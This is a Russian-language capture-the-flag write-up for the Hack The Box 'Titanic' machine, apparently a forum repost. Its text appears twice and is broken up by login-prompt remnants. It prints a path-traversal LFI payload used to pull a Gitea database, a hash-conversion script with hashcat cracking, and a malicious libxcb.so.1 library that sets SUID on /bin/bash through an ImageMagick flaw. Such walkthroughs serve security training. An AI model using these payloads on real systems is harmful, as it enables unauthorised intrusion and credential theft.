stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как можно использовать уязвимую версию ImageMagick для выполнения кода в Linux от имени рута. Однако сначала нам потребуется проэксплуатировать LFI и добыть данные из базы Gitea, чтобы получить оболочку на сервере.
Наша цель — получение прав суперпользователя на машине Titanic с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — легкий.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
Форма Book Your Trip
Заполняем форму тестовыми данными и нажимаем кнопку Submit. В этот момент загружается какой‑то JSON-файл.
Загрузка файла
Просмотрим, как этот процесс выглядит в Burp Proxy. Данные из формы отправляются POST-запросом на страницу /book, после чего происходит редирект на страницу /download. Файл для скачивания указан в параметре ticket.
Запрос в Burp Proxy
Проверим, нет ли здесь уязвимости LFI — локального включения файлов. Для этого через Burp Repeater выполним запрос на страницу /download и в параметре ticket укажем файл /etc/passwd с обходом каталога.
Содержимое файла /etc/passwd
или Зарегистрируйся».
Уязвимость присутствует, а значит, мы можем читать произвольные файлы. Так как в качестве веб‑сервера используется приложение на Python, первым делом где‑то рядом с текущим каталогом поищем характерный для таких проектов файл app.py — основной файл приложения.
Содержимое файла app.py
Если выполнить запрос на веб‑сервер не по доменному имени, а по IP, в ответе в заголовке Server будет отмечен веб‑сервер Apache.
Данные запроса и ответа
Так как Apache перенаправляет запросы, проверим стандартный для него конфиг /etc/apache2/sites-enabled/000-default.conf. Однако новых сайтов мы там не обнаружим.
Содержимое файла 000-default.conf
Мы знаем доменное имя, попробуем подобрать поддомены.
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Чтобы в выводе не отображались все варианты из словаря, нужно установить фильтр. В нашем случае фильтровать можем по коду ответа сервера (параметр -fс).
Собираем всё вместе и запускаем:
Для просмотра ссылки Войдиили Зарегистрируйся
Главная страница сайта
Посмотрим доступные репозитории. Их два: docker-config и flask-app.
Репозитории Gitea
В репозитории docker-config находим файл docker-compose.yml. Там есть учетные данные для подключения к базе данных.
Содержимое файла docker-compose.yml
Пароль никуда не подошел, однако, если просмотреть историю коммитов, в одном из них найдем каталог /home/developer/gitea, где развернут Gitea.
Содержимое файла docker-compose.yml
Попробуем добраться до файла базы данных Gitea. Тут нам поможет найденная ранее уязвимость LFI. Получим файл по следующему URL-эндпоинту:
Откроем файл базы данных в Для просмотра ссылки Войдиили Зарегистрируйся и просмотрим данные из таблицы user.
Содержимое таблицы user
Осталось пробрутить хеши и получить пароли пользователей Gitea. В этом нам поможет Для просмотра ссылки Войдиили Зарегистрируйся в блоге unix-ninja.
Из базы нам нужно получить значения iterations, salt и hash, представить в формате pbkdf2-sha256:$iterations:$salt:$hash и передать в приведенный ниже скрипт для преобразования в формат hashcat.
Преобразование хеша в формат hashcat
Полученное значение сохраняем в файл и отдаем хешкету, при этом указываем режим 10900.
Результат подбора пароля
С полученными учетными данными авторизуемся по SSH и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому ищем только то, что сможет нам помочь.
Члены группы developer (а мы в нее входим) имеют право записи в каталоги /opt/app/tickets и /opt/app/static/assets/images.
Доступные для записи каталоги
Среди добавленных пользователем исполняемых файлов есть скрипт /opt/scripts/identify_images.sh.
Исполняемые файлы, добавленные пользователем
Посмотрим содержимое найденного скрипта. Из интересного разве что запуск в скрипте утилиты magick, но это можно использовать.
Содержимое файла identify_images.sh
Это утилита из пакета ImageMagick. Давай проверим его версию.
Версия ImageMagick
На сервере установлена версия 7.1.1-35. Возможно, для нее есть готовые публичные эксплоиты. Поищем их.
Поиск эксплоитов в Google
Для просмотра ссылки Войдиили Зарегистрируйся из Google приводит нас к интересной информации: ImageMagick до версии 7.1.1-36 имеет уязвимость Для просмотра ссылки Войди или Зарегистрируйся.
ImageMagick может использовать пустой путь при установке переменных среды MAGICK_CONFIGURE_PATH и LD_LIBRARY_PATH, что способно привести к выполнению произвольного кода путем загрузки произвольных конфигов или библиотек из рабочего каталога во время выполнения ImageMagick.
Сделаем свою библиотеку libxcb.so.1 в каталоге /opt/app/static/assets/images/. В коде будем просто назначать файлу командной оболочки S-бит.
Эксплуатация уязвимости
Теперь мы можем выполнить /bin/bash в контексте пользователя root.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Titanic с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.55 titanic.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache 2.4.52.
Точка входа
В меню сайта ничего интересного, поэтому воспользуемся единственной доступной на данный момент функцией Book Your Trip.Заполняем форму тестовыми данными и нажимаем кнопку Submit. В этот момент загружается какой‑то JSON-файл.
Просмотрим, как этот процесс выглядит в Burp Proxy. Данные из формы отправляются POST-запросом на страницу /book, после чего происходит редирект на страницу /download. Файл для скачивания указан в параметре ticket.
Проверим, нет ли здесь уязвимости LFI — локального включения файлов. Для этого через Burp Repeater выполним запрос на страницу /download и в параметре ticket укажем файл /etc/passwd с обходом каталога.
info
Подробнее о принципах работы LFI читай в статье «Для просмотра ссылки ВойдиУязвимость присутствует, а значит, мы можем читать произвольные файлы. Так как в качестве веб‑сервера используется приложение на Python, первым делом где‑то рядом с текущим каталогом поищем характерный для таких проектов файл app.py — основной файл приложения.
Если выполнить запрос на веб‑сервер не по доменному имени, а по IP, в ответе в заголовке Server будет отмечен веб‑сервер Apache.
Так как Apache перенаправляет запросы, проверим стандартный для него конфиг /etc/apache2/sites-enabled/000-default.conf. Однако новых сайтов мы там не обнаружим.
Мы знаем доменное имя, попробуем подобрать поддомены.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -u — URL;
- -H — HTTP-заголовок;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков.
Чтобы в выводе не отображались все варианты из словаря, нужно установить фильтр. В нашем случае фильтровать можем по коду ответа сервера (параметр -fс).
Собираем всё вместе и запускаем:
ffuf -u [URL]http://titanic.htb[/URL] -H 'Host: FUZZ.titanic.htb' -w subdomains-top1million-110000.txt -t 128 -fc 301
Для просмотра ссылки Войди
Точка опоры
Мы нашли новый сайт, для доступа к которому обновим запись в файле /etc/hosts. При обновлении страницы нас встретит сервис Gitea.10.10.11.55 titanic.htb dev.titanic.htb
Главная страница сайта
Посмотрим доступные репозитории. Их два: docker-config и flask-app.
В репозитории docker-config находим файл docker-compose.yml. Там есть учетные данные для подключения к базе данных.
Пароль никуда не подошел, однако, если просмотреть историю коммитов, в одном из них найдем каталог /home/developer/gitea, где развернут Gitea.
Попробуем добраться до файла базы данных Gitea. Тут нам поможет найденная ранее уязвимость LFI. Получим файл по следующему URL-эндпоинту:
/download?ticket=../../../../../../../home/developer/gitea/data/gitea/gitea.db
Откроем файл базы данных в Для просмотра ссылки Войди
Осталось пробрутить хеши и получить пароли пользователей Gitea. В этом нам поможет Для просмотра ссылки Войди
Из базы нам нужно получить значения iterations, salt и hash, представить в формате pbkdf2-sha256:$iterations:$salt:$hash и передать в приведенный ниже скрипт для преобразования в формат hashcat.
Код:
#!/usr/bin/python3
# Converts gitea PBKDF2-HMAC-SHA256 hashes into a format hashcat can use
# written by unix-ninja
import argparse
import base64
import sys
def convert_hash(hash_string):
"""Converts a SALT+HASH string to a hashcat compatible format,
ensuring the smaller input is treated as the salt.
Use : or | as delimeters.
"""
hash_string = hash_string.replace('|', ':')
try:
part1, part2 = hash_string.split(":")
except ValueError:
print(f"[-] Invalid input format: {hash_string}")
return None
try:
bytes1 = bytes.fromhex(part1)
bytes2 = bytes.fromhex(part2)
except ValueError:
print(f"[-] Invalid hex input: {hash_string}")
return None
# If lengths are equal, we will maintain the original order
if len(bytes1) > len(bytes2):
salt_bytes = bytes2
hash_bytes = bytes1
else:
salt_bytes = bytes1
hash_bytes = bytes2
salt_b64 = base64.b64encode(salt_bytes).decode('utf-8')
hash_b64 = base64.b64encode(hash_bytes).decode('utf-8')
return f"sha256:50000:{salt_b64}:{hash_b64}"
def main():
parser = argparse.ArgumentParser(description="Convert Gitea SALT+HASH strings to a hashcat-compatible format.",
formatter_class=argparse.RawTextHelpFormatter,
epilog="""Example:
gitea2hashcat.py <salt1>:<hash1> <hash2>|<salt2> ... or pipe input from stdin.
You can also dump output straight from sqlite into this script:
sqlite3 gitea.db 'select salt,passwd from user;' | gitea2hashcat.py""")
parser.add_argument('hashes', nargs='*', help='SALT+HASH strings to convert')
args = parser.parse_args()
# ... (rest of the main function remains the same)
print("[+] Run the output hashes through hashcat mode 10900 (PBKDF2-HMAC-SHA256)")
print()
if args.hashes:
# Process command-line arguments
for hash_string in args.hashes:
converted_hash = convert_hash(hash_string)
if converted_hash:
print(converted_hash)
else:
# Process input from stdin
for line in sys.stdin:
hash_string = line.strip() # Remove leading/trailing whitespace
converted_hash = convert_hash(hash_string)
if converted_hash:
print(converted_hash)
if name == "main":
main()
Полученное значение сохраняем в файл и отдаем хешкету, при этом указываем режим 10900.
hashcat -m 10900 hash.txt rockyou.txt
С полученными учетными данными авторизуемся по SSH и забираем первый флаг.
Локальное повышение привилегий
Теперь нам необходимо собрать информацию о системе. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому ищем только то, что сможет нам помочь.
Члены группы developer (а мы в нее входим) имеют право записи в каталоги /opt/app/tickets и /opt/app/static/assets/images.
Среди добавленных пользователем исполняемых файлов есть скрипт /opt/scripts/identify_images.sh.
Посмотрим содержимое найденного скрипта. Из интересного разве что запуск в скрипте утилиты magick, но это можно использовать.
Это утилита из пакета ImageMagick. Давай проверим его версию.
На сервере установлена версия 7.1.1-35. Возможно, для нее есть готовые публичные эксплоиты. Поищем их.
Для просмотра ссылки Войди
ImageMagick может использовать пустой путь при установке переменных среды MAGICK_CONFIGURE_PATH и LD_LIBRARY_PATH, что способно привести к выполнению произвольного кода путем загрузки произвольных конфигов или библиотек из рабочего каталога во время выполнения ImageMagick.
Сделаем свою библиотеку libxcb.so.1 в каталоге /opt/app/static/assets/images/. В коде будем просто назначать файлу командной оболочки S-бит.
Код:
#include <stdio.h>
#include <stdlib.h>
attribute((constructor)) void init(){
system("chmod u+s /bin/bash");
exit(0);
}
gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 expl.c
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю.Теперь мы можем выполнить /bin/bash в контексте пользователя root.
/bin/bash -p
Машина захвачена!